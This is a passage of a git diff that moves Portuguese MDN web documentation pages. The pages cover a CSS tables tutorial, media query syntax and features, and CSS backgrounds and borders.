-<TD>20,000</TD>
-<TD>4,500</TD>
-</TR>
-</TBODY>
-
-<TFOOT>
-<TR>
-<TH>Total</TH>
-<TD>361,000</TD>
-<TD></TD>
-</TR>
-<TR>
-<TH>Média</TH>
-<TD>72,000</TD>
-<TD>3,800</TD>
-</TR>
-</TFOOT>
-
-</TABLE>
-
-</BODY>
-</HTML>
-
-
- -

Crie uma nova folha de estilo, style3.css. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:

- -
-
/*** Estilo para doc3.html (Tabelas) ***/
-
-#demo-table {
-  font: 100% sans-serif;
-  background-color: #efe;
-  border-collapse: collapse;
-  empty-cells: show;
-  border: 1px solid #7a7;
-  }
-
-#demo-table > caption {
-  text-align: left;
-  font-weight: bold;
-  font-size: 200%;
-  border-bottom: .2em solid #4ca;
-  margin-bottom: .5em;
-  }
-
-
-/* basic shared rules */
-#demo-table th,
-#demo-table td {
-  text-align: right;
-  padding-right: .5em;
-  }
-
-#demo-table th {
-  font-weight: bold;
-  padding-left: .5em;
-  }
-
-
-/* header */
-#demo-table > thead > tr:first-child > th {
-  text-align: center;
-  color: blue;
-  }
-
-#demo-table > thead > tr + tr > th {
-  font-style: italic;
-  color: gray;
-  }
-
-/* fix size of superscript */
-#demo-table sup {
-  font-size: 75%;
-  }
-
-/* body */
-#demo-table td {
-  background-color: #cef;
-  padding:.5em .5em .5em 3em;
-  }
-
-#demo-table tbody th:after {
-  content: ":";
-  }
-
-
-/* footer */
-#demo-table tfoot {
-  font-weight: bold;
-  }
-
-#demo-table tfoot th {
-  color: blue;
-  }
-
-#demo-table tfoot th:after {
-  content: ":";
-  }
-
-#demo-table > tfoot td {
-  background-color: #cee;
-  }
-
-#demo-table > tfoot > tr:first-child td {
-  border-top: .2em solid #7a7;
-  }
-
-
- -

Abra o documento no seu navegador. Deve ser muito similar a este:

- - - - - - - -
-
-

Oceanos

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 ÁreaProfundidade média
 milhões de km2m
Ártico:13,0001,200
Atlântico:87,0003,900
Pacífico:180,0004,000
Índico:75,0003,900
Antártico:20,0004,500
Total:361,000 
Média:72,0003,800
-
-
-
- -

Compare estas regras em sua folha de estilo com a tabela exibida, para se assegurar de que entende o efeito de cada regra. Se você achou uma regra com a qual não está seguro sobre, descomente-a e atualize o navegador para ver o que acontece.

- -

Aqui estão algumas notas sobre esta tabela:

- - - - - - - - - - -
Desafios
Mude a folha de estilo para fazer a tabela parecer com isto: - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 ÁreaProfundidade média
 milhões de km2m
Ártico:13,0001,200
Atlântico:87,0003,900
Pacífico:180,0004,000
Índico:75,0003,900
Antártico:20,0004,500
Total:361,000 
Média:72,0003,800
-
- -

Oceanos

-
-
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor combribua nesta página de Discussão.

- -

Esta é a última página deste tutorial que foca as propriedades e valores das CSS. Para um sumário completo de propriedades e valores, veja Full property table em CSS Specification.

- -

A próxima página mostra novamente o propósito e a estrutura das folhas de estilo CSS: Mídia

- -

{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}

diff --git "a/files/pt-pt/web/css/consulta_de_m\303\255dia/index.html" "b/files/pt-pt/web/css/consulta_de_m\303\255dia/index.html" deleted file mode 100644 index 2bf4f5470c..0000000000 --- "a/files/pt-pt/web/css/consulta_de_m\303\255dia/index.html" +++ /dev/null @@ -1,436 +0,0 @@ ---- -title: Utilizar consultas de média -slug: Web/CSS/Consulta_de_mídia -tags: - - Avançado - - CSS - - Desenho Adaptável - - Guía - - Media -translation_of: Web/CSS/Media_Queries/Using_media_queries ---- -

{{ gecko_minversion_header("1.9.1") }}

- -

As consultas de média permitem modificar um site ou aplicação de acordo com o tipo de dispositivo (ecrã ou impressora, por exemplo) ou características e parâmetros específicos (como a resolução de ecrã ou largura do {{glossary("viewport")}} do navegador). Podem utilizar-se para:

- - - -

Sintaxe

- -

Consultas de média consistem num tipo de média e uma ou mais expressões envolvendo recursos de média. Note que estas consultas não são sensíveis a maiúsculas. Pode-se combinar várias consultas com operadores lógicos.

- -

O resultado da consulta é verdadeiro se o tipo de média especificado na consulta de média encaixa com o tipo de dispositivo no qual o documento está a ser exibido e se todas as expressões na consulta de média forem verdadeiras.

- -

Quando uma consulta de média é verdadeira, a folha de estilos correspondente é aplicada seguinto as regras normais de cascata.

- -
-

Nota: Considere a etiqueta {{HTMLElement("link")}} com uma consulta de média. O ficheiro CSS que ela refere é descarregado mesmo que a consulta de média seja falsa; o conteúdo da folha não será aplicado até a consulta se tornar verdadeira.

-
- -

Operadores lógicos

- -

Você pode compor consultas de média complexas usando operadores lógicos, incluindo not, and, e only ; assim como combinar consultas de média numa lista separada por vírgulas, o que é equivalente a um operador "ou".

- -

and

- -

O operador and indica que a consulta é verdadeira se cada subconsulta que a compõe for verdadeira. Também pode juntar os tipos de média às funcionalidades de média. Tem maior precedência que a vírgula ("ou") e o not.

- -

not

- -

A palavra-chave not, nega o resultado de toda a consulta; por exemplo, "all and (not color)" é verdadeiro para dispositivos monocromáticos independentemente do tipo de média. É o operador com menor precedência depois da vírgula.

- -

only

- -

A palavra-chave only indica que só deve ser aplicado o estilo se a consulta inteira for verdadeira. Quando se utiliza este operador, é obrigatório especificar um tipo de média.

- -

É útil para esconder folhas de estilo de navegadores antigos que não suportam consultas de média. Por exemplo, se não for utilizado only, navegadores antigos interpretam a consulta screen and (max-width: 500px) apenas como screen - ignoram o resto e aplicam o estilo em todos os ecrãs. 

- -

Este operador não pode ser utilizado em conjunto com o not, e ambos têm a mesma precedência.

- -

, (vírgula)

- -

Cada subconsulta numa lista separada por vírgulas é avaliada isoladamente e e alguma  for verdadeira, a consulta composta é verdadeira. Por outras palavras, as vírgulas são equivalentes a um "ou-lógico".

- -

Precedência dos operadores

- - - -

Os parênteses não podem ser utilizados para mudar esta precedência.

- -

 

- -

Pseudo BNF (para aqueles que gostam desde tipo de coisa)

- -
media_query_list: <media_query> [, <media_query> ]*
-media_query: [[only | not]? <media_type> [ and <expression> ]*]
-  | <expression> [ and <expression> ]*
-expression: ( <media_feature> [: <value>]? )
-media_type: all | aural | braille | handheld | print |
-  projection | screen | tty | tv | embossed
-media_feature: width | min-width | max-width
-  | height | min-height | max-height
-  | device-width | min-device-width | max-device-width
-  | device-height | min-device-height | max-device-height
-  | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio
-  | color | min-color | max-color
-  | color-index | min-color-index | max-color-index
-  | monochrome | min-monochrome | max-monochrome
-  | resolution | min-resolution | max-resolution
-  | scan | grid
- -

Consultas de média não diferenciam maiúsculas de minúsculas. Consultas de média que envolvem tipos de média desconhecidos são sempre falsas.

- -
Nota: Os parênteses são requisitados a volta de expressões; esquecer de usá-los é um erro.
- -

Recursos de média

- -

A maioria dos recursos de média pode ser prefixado com "min-" ou "max-" para expressar "maior ou igual a" ou "menor ou igual a". Isto evita usar os símbolos "<" e ">", que poderiam entrar em conflito com HTML e XML. Se você usar um recurso de média sem especificar um valor, a expressão é definida como verdadeira se o valor do recurso for diferente de zero.

- -
Nota: Se um recurso de média não se aplica ao dispositivo no qual o navegador está sendo rodado, expressões envolvendo este recurso de média serão sempre falsas. Por exemplo, consultando a relação de aspecto de um dispositivo auditivo sempre resultará em falso.
- -

color

- -

Valor: {{cssxref("<color>")}}
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: sim

- -

Indica o número de bits por componente de cor do dispositivo de saída. Se o dispositivo não é colorido, este valor é zero.

- -
Nota: Se os componentes de cor tiverem diferentes de números de bits por componente de cor, o menor número é usado. Por exemplo, se uma tela usa 5 bits para azul e vermelho e 6 bits para verde, então o dispositivo é considerado para usar 5 bits por componente de cor. Se o dispositivo usa cores indexadas, o número mínimo de bits por componente de cor na tabela de cores é usado.
- -

Exemplos

- -

Para aplicar uma folha de estilos a todos os dispositivos coloridos:

- -
@media all and (color) { ... }
-
- -

Para aplicar uma folha de estilos a dispositivos com no mínimo 4 bits por componente de cor:

- -
@media all and (min-color: 4) { ... }
-
- -

color-index

- -

Valor: integer
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: sim

- -

Indica o número de entradas na tabela de cor para o dispositivo de saída.

- -

Exemplos

- -

Para indicar que uma folha de estilos deve ser aplicada a todos os dispositivos usando cores indexadas, você pode fazer:

- -
@media all and (color-index) { ... }
-
- -

Para aplicar uma folha de estilos a dispositivos de cores indexadas com no mínimo 256 cores:

- -
<link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/stylesheet.css" />
-
- -

device-aspect-ratio

- -

Valor: integer / integer
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

Descreve a relação de aspecto do dispositivo de saída. Este valor consiste em dois positivos inteiros (integer) separados por um caractére barra ("/"). Isto representa o número de pixels horizontais sobre o número de pixels verticais.

- -

Exemplo

- -

O que vem a seguir selecionar uma folha de estilos especial para uso em dispositivos de tela comprida (widescreen):

- -
@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }
- -

Isto seleciona o estilo quando a relação de aspecto for 16:9 ou 16:10.

- -

device-height

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

Descreve a altura do dispositivo de saída (sendo a tela ou página inteira, ao invés de somente a área de renderização, como a janela do documento).

- -

Exemplo

- -

Para aplicar uma folha de estilos a um documento quando exibido em uma tela que for mais fina do que 800 pixels, você pode usar isto:

- -
<link rel="stylesheet" media="screen and (max-device-width: 799px)" />
-
- -

device-width

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

Descreve a largura do dispositivo de saída (sendo a tela ou a página inteira, ao invés de somente a área de renderização, como a janela do documento).

- -

grid

- -

Valor: integer
- média: all
- Aceita os prefixos min/max: não

- -

Determina Determines se o dispositivo de saída é um dispositivo grid ou um dispositivo bitmap. Se o dispositivo for baseado em grid (tal como um terminal tty ou uma tela de celular com somente uma fonte), o valor é 1. Caso contrário é zero.

- -
Nota: Gecko (e consequentemente o Firefox) não suporta dispositivos grid atualmente, então este recurso de média não é suportado.
- -

Exemplo

- -

Para aplicar um estilo a dispositivos de mão com uma tela de 15 caracteres ou mais estreito:

- -
@media handheld and (grid) and (max-width: 15em) { ... }
-
- -
Nota: A unidade "em" tem um uso especial em dispositivos grid; desde que a largura exata de um "em" não pôde ser determinada, 1em é assumido como a largura de uma célula grid horizontal, e a altura de uma célula vertical.
- -

height

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

O recurso de média height descreve a altura da superfície de renderização do dispositivo de saída (tal como a altura da viewport ou da caixa de páginas em uma impressora).

- -
Nota: Quando o usuário redimenciona a janela, o Firefox substituirá as folhas de estilos como for apropriado, baseado em consultas de média usando os recursos de média width e height.
- -

monochrome

- -

Valor: integer
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: sim

- -

Indica o número de bits por pixel em um dispositivo monocromático (escala de cinza). Se o dispositivo não for monocromático, o valor do dispositivo é 0.

- -

Exemplos

- -

Para aplicar uma folha de estilos para todos os dispositivos monocromáticos:

- -
@media all and (monochrome) { ... }
-
- -

Para aplicar uma folha de estilos para dispositivos monocromáticos com no mínimo 8 bits por pixel:

- -
@media all and (min-monochrome: 8) { ... }
-
- -

orientation

- -

Valor: landscape | portrait
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Indica se o dispositivo está em modo paisagem (a exibição é mais larga do que alta) ou retrato (a exibição é mais alta do que larga).

- -

Exemplo

- -

Para aplicar uma folha de estilos somente na orientação retrato:

- -
@media all and (orientation: portrait) { ... }
- -

resolution

- -

Valor: {{cssxref("<resolution>")}}
- média: {{cssxref("Media/Bitmap", "bitmap")}}
- Aceita os prefixos min/max: sim

- -

Indica a resolução (densidade de pixels) do dispositivo de saída. A resolução pode ser especificada tanto em pontos por polegada (dpi) quanto pontos por centímetro (dpcm).

- -

Exemplo

- -

Para aplicar uma folha de estilos a dispositivos com no mínimo 300 pontos por polegada de resolução:

- -
@media print and (min-resolution: 300dpi) { ... }
-
- -

scan

- -

Valor: progressiveinterlace
- média: {{cssxref("Media/TV", "tv")}}
- Aceita os prefixos min/max: não

- -

Descreve o processo de escaneamento de dispositivos de saída de televisão.

- -
Nota: Gecko (e consequentemente o Firefox) não suportam o tipo de média tv atualmente, então este recurso de média não é suportado.
- -

Exemplo

- -

Para aplicar uma folha de estilos somente para televisões com escaneamento progressivo:

- -
@media tv and (scan: progressive) { ... }
-
- -

width

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

O recurso de média width descreve a largura da superfície de renderização do dispositivo de saída (tal como a largura da janela do documento, ou a largura da caixa de páginas em uma impressora).

- -
Nota: Quando o usuário redimensiona a janela, o Firefox substituirá a folha de estilo como apropriado, baseado nas consultas de média usando os recursos de média width e height.
- -

Exemplos

- -

Se você desejar espeficar uma folha de estilos para dispositivos de mão, ou dispositivos de tela com uma largura maior do que 20em, você pode usar esta folha de estilos:

- -
@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... }
-
- -

Este recurso de média especifica uma folha de estilos que deve ser aplicada a médias impressas mais largas do que 8.5 polegadas:

- -
<link rel="stylesheet" media="print and (min-width: 8.5in)"
-    href="http://foo.com/mystyle.css" />
-
- -

Este recurso especifica uma folha de estilos que é usável quando a viewport estiver entre 500 e 800 pixels de largura:

- -
@media screen and (min-width: 500px) and (max-width: 800px) { ... }
-
- -

Características de média específicas da Mozilla

- -

{{ gecko_minversion_header("1.9.2") }}

- -

A Mozilla oferece várias características de média específicas para o Gecko. Algumas delas podem ser propostas como características oficiais de média.

- -

-moz-images-in-menus

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o dispositivo permitir às imagens, aparecer nos menus, recebe 1; caso contrário, o valor é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(images-in-menus)") }} do CSS.

- -

-moz-mac-graphite-theme

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário configurou o dispositivo para usar a aparência "Graphite" no Mac OS X, o valor é 1. Se o usuário está usando a aparência azul padrão, ou não for no Mac OS X, o valor é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }} do CSS.

- -

-moz-maemo-classic

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário está usando o Maemo com o tema original, o valor é 1; se estiver usando o novo tema "Fremantle", o valor é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(maemo-classic)") }} do CSS.

- -

-moz-scrollbar-end-backward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe um botão de seta para trás ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-backward)") }} do CSS.

- -

-moz-scrollbar-end-forward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe um botão de seta para frente ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-forward)") }} do CSS.

- -

-moz-scrollbar-start-backward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe uma seta para trás no início da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-backward)") }} do CSS.

- -

-moz-scrollbar-start-forward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe uma seta para frente no início da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-forward)") }} do CSS.

- -

-moz-scrollbar-thumb-proportional

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe a barra de rolagem proporcionalmente (isto é, tamanho baseado na porcentagem do documento que está visível), o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-thumb-proportional)") }} do CSS.

- -

-moz-touch-enabled

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o dispositivo suporta eventos de toque (para um tela sensível ao toque), o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(touch-enabled)") }} do CSS.

- -

Exemplo

- -

Você pode usar isso para renderizar seus botões ligeiramente maiores, por exemplo, se o usuário estiver em um dispositivo com tela sensível ao toque, para torná-lo mais amigável aos dedos.

- -

-moz-windows-classic

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário estiver usando o Windows, sem tema (no modo clássico ao invés de usar "uxtheme"), o valor é 1; caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-classic)") }} do CSS.

- -

-moz-windows-compositor

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário estiver usando o Windows com o compositor DWM, o valor é 1; caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-compositor)") }} do CSS.

- -

-moz-windows-default-theme

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário está correntemente usando um dos temas do Windows (Luna, Royale, Zune ou Aero (incluindo o Vista Basic, Vista Advanced e o Aero Glass), o valor 1. Caso contrário é 0.

- -

Veja também

- - diff --git a/files/pt-pt/web/css/consultas_de_media/index.html b/files/pt-pt/web/css/consultas_de_media/index.html deleted file mode 100644 index f9bbd7b94e..0000000000 --- a/files/pt-pt/web/css/consultas_de_media/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Consultas de média -slug: Web/CSS/Consultas_de_media -tags: - - CSS - - Consultas de Média - - Consultas de média CSS3 - - Desenho Adaptável - - Referencia - - Visão Geral -translation_of: Web/CSS/Media_Queries ---- -
{{CSSRef}}
- -

Consultas de média permitem adaptar o seu site ou aplicação de acordo com diferentes características ou parâmetros dos dispositivos utilizados.

- -

São um elemento chave de desenho adaptável . Por exemplo, uma consulta de média pode reduzir o tamanho do texto em dispositivos pequenos, aumentar o espaço entre parágrafos quando a página é visualizada em modo de paisagem, ou ampliar os botões nos ecrãs táteis.

- -

Em CSS, utiliza-se a regra "at" {{cssxref("@media")}} para aplicar, condicionalmente, parte de uma folha de estilos com base no resultado de uma consulta de média. E utiliza-se {{cssxref("@import")}} para aplicar, condicionalmente, uma folha de estilos inteira.

- -

Consultas de média em HTML

- -

Em HTML, as consultas de média podem-se aplicar a vários elementos:

- - - -

Consultas de média em JavaScript

- -

Em JavaScript, pode-se usar o método {{domxref("Window.matchMedia()")}} para verificar se a janela possui as características definidas na consulta de média. Também se pode utilizar {{domxref("MediaQueryList.addListener()")}} para gerar eventos sempre que houver mudanças no resultado da consulta de média. Com estas funcionalidades, o seu site ou aplicação pode responder a mudanças na configuração, orientação ou estado do dispositivo.

- -

Pode aprender mais sobre utilização programática das consultas de média no artigo Testar consultas de média.

- -

Referências

- -

Regras "at"

- -
- -
- -

Guias

- -
-
Utilizar consultas de média
-
Introdução às consultas de média, a sua sintaxe, os operadores e funcionalidades utilizadas para construir as expressões das consultas de média.
-
Testar consultas de média programaticamente
-
Descrição de como utilizar consultas de média no código JavaScript code para determinar o estado do dispositivo, e como instalar listeners que notificam o código quando o resultado das consultas muda (por exemplo, quando o utilizador roda o ecrã ou redimensiona a janela do navegador).
-
Utilizar Consultas de média para Acessibilidade
-
Este artigo explica de que forma as consultas de média podem ajudar os utilizadores a compreender melhor o seu site.
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}} 
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Definição inicial
- -

Compatibilidade com navegadores

- -

@media rule

- - - -

{{Compat("css.at-rules.media")}}

- -

Ver também

- - diff --git a/files/pt-pt/web/css/css_background_and_borders/index.html b/files/pt-pt/web/css/css_background_and_borders/index.html deleted file mode 100644 index 59c2117194..0000000000 --- a/files/pt-pt/web/css/css_background_and_borders/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: CSS Background and Borders -slug: Web/CSS/CSS_Background_and_Borders -tags: - - CSS - - CSS Backgrounds and Borders - - CSS Reference - - NeedsTranslation - - Overview - - TopicStub -translation_of: Web/CSS/CSS_Backgrounds_and_Borders -translation_of_original: Web/CSS/CSS_Background_and_Borders ---- -

{{CSSRef}}

- -

CSS Background and Borders is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.

- -

Reference

- -

CSS Properties

- -
- -
- -

Guides

- -
-
Using CSS multiple backgrounds
-
Explains how to set backgrounds on elements and how they will interact with it.
-
Scaling background images
-
Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
- -

Browser compatibility

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}1.0
-
diff --git "a/files/pt-pt/web/css/css_background_and_borders/m\303\272ltiplos_planos_de_fundo/index.html" "b/files/pt-pt/web/css/css_background_and_borders/m\303\272ltiplos_planos_de_fundo/index.html" deleted file mode 100644 index a30a9383be..0000000000 --- "a/files/pt-pt/web/css/css_background_and_borders/m\303\272ltiplos_planos_de_fundo/index.html" +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Utilização de múltiplos fundos em CSS -slug: Web/CSS/CSS_Background_and_Borders/Múltiplos_planos_de_fundo -tags: - - CSS - - CSS Background - - Example - - Guide - - Intermediate -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds ---- -

{{CSSRef}}

- -

Com CSS3 pode aplicar múltiplos fundos aos elementos. Estes são colocados um sobre o outro, com o primeiro fundo fornecido no topo e o último fundo listado por trás. Só o último fundo pode incluir uma cor de fundo:

- -

É fácil especificar múltiplos fundos:

- -
.myclass {
-  background: background1, background 2, ..., backgroundN;
-}
-
- -

Você pode fazer isto com o apanhado da propriedade {{ cssxref("background") }} e das sub-propriedades desta: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.

- -

Exemplo

- -

Neste exemplo, três fundos são empilhados: a logo do Firefox, um gradiente linear (en) e uma imagem com flores:

- -
.multi_bg_example {
-  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
-        -moz-linear-gradient(left, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
-        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
-  background-repeat: no-repeat, no-repeat, repeat;
-  background-position: bottom right, left, right;
-}
-
- - - - - - - - - - - - -
FotoDemonstração ao vivo
css_multibg.png 
- -

Como pode ver aqui, o logótipo do Firefox (listado primeiro) está no topo, seguida pelo gradiente, que está uma camada acima do fundo florido. Cada sub-propriedade ({{ cssxref("background-repeat") }} e {{ cssxref("background-position") }}) subsequentes aplicam-se aos fundos correspondentes. Dessa forma, o primeiro valor listado para {{ cssxref("background-repeat") }} aplica-se ao primeiro fundo (mais a frente), e assim por diante.

- -

Ver também

- - diff --git a/files/pt-pt/web/css/css_backgrounds_and_borders/index.html b/files/pt-pt/web/css/css_backgrounds_and_borders/index.html new file mode 100644 index 0000000000..59c2117194 --- /dev/null +++ b/files/pt-pt/web/css/css_backgrounds_and_borders/index.html @@ -0,0 +1,155 @@ +--- +title: CSS Background and Borders +slug: Web/CSS/CSS_Background_and_Borders +tags: + - CSS + - CSS Backgrounds and Borders + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Backgrounds_and_Borders +translation_of_original: Web/CSS/CSS_Background_and_Borders +--- +

{{CSSRef}}

+ +

CSS Background and Borders is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.

+ +

Reference

+ +

CSS Properties

+ +
+ +
+ +

Guides

+ +
+
Using CSS multiple backgrounds
+
Explains how to set backgrounds on elements and how they will interact with it.
+
Scaling background images
+
Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}1.0
+
diff --git a/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html new file mode 100644 index 0000000000..a30a9383be --- /dev/null +++ b/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -0,0 +1,58 @@ +--- +title: Utilização de múltiplos fundos em CSS +slug: Web/CSS/CSS_Background_and_Borders/Múltiplos_planos_de_fundo +tags: + - CSS + - CSS Background + - Example + - Guide + - Intermediate +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +--- +

{{CSSRef}}

+ +

Com CSS3 pode aplicar múltiplos fundos aos elementos. Estes são colocados um sobre o outro, com o primeiro fundo fornecido no topo e o último fundo listado por trás. Só o último fundo pode incluir uma cor de fundo:

+ +

É fácil especificar múltiplos fundos:

+ +
.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

Você pode fazer isto com o apanhado da propriedade {{ cssxref("background") }} e das sub-propriedades desta: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.

+ +

Exemplo

+ +

Neste exemplo, três fundos são empilhados: a logo do Firefox, um gradiente linear (en) e uma imagem com flores:

+ +
.multi_bg_example {
+  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
+        -moz-linear-gradient(left, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
+        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
+  background-repeat: no-repeat, no-repeat, repeat;
+  background-position: bottom right, left, right;
+}
+
+ + + + + + + + + + + + +
FotoDemonstração ao vivo
css_multibg.png 
